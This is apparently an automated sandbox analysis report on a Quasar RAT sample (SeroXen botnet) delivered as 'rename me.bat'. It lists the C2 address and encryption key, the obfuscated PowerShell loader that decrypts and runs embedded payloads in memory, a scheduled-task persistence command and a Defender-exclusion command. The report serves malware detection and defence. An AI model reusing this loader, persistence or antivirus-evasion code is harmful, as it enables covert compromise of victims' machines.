Analysis

  • max time kernel
    93s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-04-2024 16:13

General

  • Target

    rename me.bat

  • Size

    328KB

  • MD5

    aeb5d5210a55384c6019bc889ab2712a

  • SHA1

    524094d4dc90b48c110e24b26aa6cebbf15937cf

  • SHA256

    3f077245d055648ee67c8597d813805f43a1a750abf17b6597ec49e6e61bba1e

  • SHA512

    2e71352ad66c150a217784f0eeec50d001eef3fa60be33dd98bec3503dc0356b8e6b6df4042e1bddfb4933b25ba5c9a4202450eb6604ae00bb48a1495f54910f

  • SSDEEP

    6144:v49D8DR1G9Pj1pP+irNTVDxmev+lcvhEvLpPxJMRLRsvjoOo50AqPJNIA3OiL5O9:v49DuPGtjP+irnDIev+lcv2pxLjoOoOq

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SeroXen

C2

147.185.221.19:33587

Mutex

$Sxr-2rfrZTKITtK0P0zGYG

Attributes
  • encryption_key

    Yr0YpBPNd3kXsl43jZMx

  • install_name

    $sxr-sdinwn.exe

  • log_directory

    $sxr

  • reconnect_delay

    3000

  • startup_key

    $sxr-metsha

  • subdirectory

    sxr

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rename me.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4344
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c9cTBUxEQ3bkhNltovJO4VlBnFPtuZDAn3tKbTZM170='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q2umC619B9pCpnnAKCTQLg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FSGQo=New-Object System.IO.MemoryStream(,$param_var); $zrACb=New-Object System.IO.MemoryStream; $JlDkU=New-Object System.IO.Compression.GZipStream($FSGQo, [IO.Compression.CompressionMode]::Decompress); $JlDkU.CopyTo($zrACb); $JlDkU.Dispose(); $FSGQo.Dispose(); $zrACb.Dispose(); $zrACb.ToArray();}function execute_function($param_var,$param2_var){ $abVXg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NJXTr=$abVXg.EntryPoint; $NJXTr.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\rename me.bat';$EvryY=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\rename me.bat').Split([Environment]::NewLine);foreach ($rkrqt in $EvryY) { if ($rkrqt.StartsWith(':: ')) { $xqxsV=$rkrqt.Substring(3); break; }}$payloads_var=[string[]]$xqxsV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Blocklisted process makes network request
      • Drops file in Drivers directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3368
      • C:\Windows\SysWOW64\schtasks.exe
        "schtasks" /create /tn "$sxr-metsha" /sc ONLOGON /tr "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" /rl HIGHEST /f
        3⤵
        • Creates scheduled task(s)
        PID:5044
      • C:\Users\Admin\AppData\Roaming\sxr\$sxr-sdinwn.exe
        "C:\Users\Admin\AppData\Roaming\sxr\$sxr-sdinwn.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1052
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath (Get-Item -LiteralPath $env:SystemRoot).Root"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2356
      • C:\Windows\SysWOW64\ipconfig.exe
        "C:\Windows\System32\ipconfig.exe" /flushdns
        3⤵
        • Gathers network information
        PID:2088

Network

MITRE ATT&CK Matrix ATT&CK v13

Execution

Scheduled Task/Job

1
T1053

Command and Scripting Interpreter

1
T1059

Persistence

Scheduled Task/Job

1
T1053

Privilege Escalation

Scheduled Task/Job

1
T1053

Discovery

System Information Discovery

1
T1082

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    fa34232314a6f718c9b6f184f8257dd4

    SHA1

    7900e7422a76afca82b7530f88f40cf5b9a6b91a

    SHA256

    f0e7191fc1e4d0bd3dc321ce565bc1d6deac3edc0fe29e798ca9aa5237e47ec5

    SHA512

    71fdcce1f45adc6ce8a6bd1210a3deddc9067524e18ae4b2a101dcb55275fb21a2985658ddca0139d8d25bd29b3689f4c8bc176da1ebf44937c1a88422a524ef

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    19KB

    MD5

    93369aaf7787a5da5c9e8c111e789bf5

    SHA1

    7471347c3a30cc6d0aaae70e0ea09a7ff0b90522

    SHA256

    b80877b66037dc4b0e27a1f26009764daa614e5001ee5d70b5cf0051cbb760c1

    SHA512

    2ace417a6ca096cf86d5d6e02110555ca5856c0defd558a0ed8e752b0e323618d33d2e5714ccbd10678ec89a8f68248dce474e6e996e0759410c0c8002f3264b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4oxjm0mr.msq.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\sxr\$sxr-sdinwn.exe
    Filesize

    423KB

    MD5

    c32ca4acfcc635ec1ea6ed8a34df5fac

    SHA1

    f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

    SHA256

    73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

    SHA512

    6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

  • memory/1052-88-0x0000000004DA0000-0x0000000004DB0000-memory.dmp
    Filesize

    64KB

  • memory/1052-89-0x0000000004DA0000-0x0000000004DB0000-memory.dmp
    Filesize

    64KB

  • memory/1052-87-0x00000000749A0000-0x0000000075150000-memory.dmp
    Filesize

    7.7MB

  • memory/1052-57-0x0000000007360000-0x00000000073D6000-memory.dmp
    Filesize

    472KB

  • memory/1052-56-0x00000000071C0000-0x0000000007204000-memory.dmp
    Filesize

    272KB

  • memory/1052-36-0x0000000004DA0000-0x0000000004DB0000-memory.dmp
    Filesize

    64KB

  • memory/1052-37-0x0000000004DA0000-0x0000000004DB0000-memory.dmp
    Filesize

    64KB

  • memory/1052-35-0x00000000749A0000-0x0000000075150000-memory.dmp
    Filesize

    7.7MB

  • memory/2356-71-0x0000000007660000-0x000000000767E000-memory.dmp
    Filesize

    120KB

  • memory/2356-58-0x0000000007540000-0x00000000075D6000-memory.dmp
    Filesize

    600KB

  • memory/2356-85-0x00000000749A0000-0x0000000075150000-memory.dmp
    Filesize

    7.7MB

  • memory/2356-81-0x0000000007A60000-0x0000000007A68000-memory.dmp
    Filesize

    32KB

  • memory/2356-80-0x0000000007A70000-0x0000000007A8A000-memory.dmp
    Filesize

    104KB

  • memory/2356-79-0x0000000007A30000-0x0000000007A44000-memory.dmp
    Filesize

    80KB

  • memory/2356-78-0x0000000007A20000-0x0000000007A2E000-memory.dmp
    Filesize

    56KB

  • memory/2356-77-0x00000000079E0000-0x00000000079F1000-memory.dmp
    Filesize

    68KB

  • memory/2356-73-0x0000000007870000-0x000000000787A000-memory.dmp
    Filesize

    40KB

  • memory/2356-34-0x00000000051A0000-0x00000000051B0000-memory.dmp
    Filesize

    64KB

  • memory/2356-33-0x00000000749A0000-0x0000000075150000-memory.dmp
    Filesize

    7.7MB

  • memory/2356-72-0x00000000076D0000-0x0000000007773000-memory.dmp
    Filesize

    652KB

  • memory/2356-60-0x0000000007680000-0x00000000076B2000-memory.dmp
    Filesize

    200KB

  • memory/2356-61-0x00000000707C0000-0x000000007080C000-memory.dmp
    Filesize

    304KB

  • memory/2356-59-0x00000000068C0000-0x00000000068E2000-memory.dmp
    Filesize

    136KB

  • memory/3368-26-0x00000000052A0000-0x00000000052B2000-memory.dmp
    Filesize

    72KB

  • memory/3368-3-0x0000000005640000-0x0000000005C68000-memory.dmp
    Filesize

    6.2MB

  • memory/3368-21-0x0000000006A40000-0x0000000006A48000-memory.dmp
    Filesize

    32KB

  • memory/3368-17-0x0000000006450000-0x000000000646E000-memory.dmp
    Filesize

    120KB

  • memory/3368-18-0x0000000006480000-0x00000000064CC000-memory.dmp
    Filesize

    304KB

  • memory/3368-19-0x0000000007CA0000-0x000000000831A000-memory.dmp
    Filesize

    6.5MB

  • memory/3368-0-0x00000000749A0000-0x0000000075150000-memory.dmp
    Filesize

    7.7MB

  • memory/3368-6-0x0000000005ED0000-0x0000000005F36000-memory.dmp
    Filesize

    408KB

  • memory/3368-2-0x0000000004FC0000-0x0000000004FD0000-memory.dmp
    Filesize

    64KB

  • memory/3368-13-0x0000000005F40000-0x0000000006294000-memory.dmp
    Filesize

    3.3MB

  • memory/3368-20-0x00000000069F0000-0x0000000006A0A000-memory.dmp
    Filesize

    104KB

  • memory/3368-25-0x0000000007940000-0x00000000079D2000-memory.dmp
    Filesize

    584KB

  • memory/3368-24-0x00000000088D0000-0x0000000008E74000-memory.dmp
    Filesize

    5.6MB

  • memory/3368-23-0x00000000077B0000-0x000000000781E000-memory.dmp
    Filesize

    440KB

  • memory/3368-5-0x0000000005E60000-0x0000000005EC6000-memory.dmp
    Filesize

    408KB

  • memory/3368-4-0x0000000005CC0000-0x0000000005CE2000-memory.dmp
    Filesize

    136KB

  • memory/3368-22-0x0000000007650000-0x0000000007690000-memory.dmp
    Filesize

    256KB

  • memory/3368-27-0x0000000008360000-0x000000000839C000-memory.dmp
    Filesize

    240KB

  • memory/3368-1-0x0000000004FD0000-0x0000000005006000-memory.dmp
    Filesize

    216KB

  • memory/3368-76-0x00000000749A0000-0x0000000075150000-memory.dmp
    Filesize

    7.7MB